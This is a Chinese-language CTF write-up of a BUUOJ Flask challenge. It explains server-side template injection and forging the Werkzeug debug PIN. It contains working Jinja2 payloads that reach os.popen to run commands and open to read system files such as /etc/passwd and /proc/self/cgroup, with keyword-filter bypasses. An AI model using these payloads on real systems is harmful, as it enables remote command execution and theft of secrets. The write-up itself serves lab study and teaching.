进一步理解flask-ssti
ssti的目的:
1.读取文件(LFI,获取secret key 伪造session)
2.RCE
BUUOJ FLASK-APP 题目分析
先看看提示,提示了PIN
第一种做法:
参考链接https://xz.aliyun.com/t/2553
简单地说就是flask app 在debug模式下通过terminal显示的pin码可以在报错的时候进入python shell。并且运行应用程序时该pin码不会变。
接下来需要知道生成PIN码需要什么。
1.当前用户名
2.app.py的绝对路径
3.model name 一般是flask.app
4.app名称 一般是Flask
5.网卡十进制数(服务器的,读/sys/class/net/eth0/address)
6.machine-id(docker的话需要读取/proc/self/cgroup ,正常Linux读取/etc/machine-id)
那么接下来就需要获取这些。
首先是app.py的绝对路径,通过报错获得:
/usr/local/lib/python3.7/site-packages/flask/app.py
然后是当前用户名,有两种方法,我用的是第一种,通过ssti 读文件/etc/passwd 发现用户flaskweb,猜测就是这个用户
另一种准确的方法是执行系统命令:
1 | {{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}} |
这里需要绕过os popen过滤 方法是拼接字符串 用单引号。双引号会失败 不知道为什么
看到当前用户是flaskweb。
接下来读取网卡十进制与machine-id 由于buuoj是docker环境,所以需要从/proc/self/cgroup读。
网卡:
1 | {{"".__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['op'+'en']("/sys/class/net/eth0/address").read()}} |
02:42:ae:01:5e:21 转十进制不用说了。2485410422305
machine-id:
1 | {{"".__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['op'+'en']("/proc/self/cgroup").read()}} |
生成PIN码的脚本:
1 | import hashlib |
生成出来的PIN 在报错页面点击右面的terminal图标输入进去就好啦,接下来就是愉快的命令执行了~
finished.
第二种做法
既然知道了是SSTI,WHY NOT RCE DIRECTLY!!
1 | {{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__['o'+'s']['pop'+'en']("ls /").read()}} |
这里防止对cat有过滤 直接用的sort。已经知道的过滤是popen,import,flag。os不知道,懒得测试了 直接绕过
思考
这里我写了几种自己研究和网上学习到的payload
引用资源:
dict 保存类实例或对象实例的属性变量键值对字典
class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
我思考的:
__builtins__里面包括了一些直接拿来用的方法 比如说hex open等。
1 | python3: |
1 | SSTI关键词(防护用) |
找模块脚本:
1 | num=0 |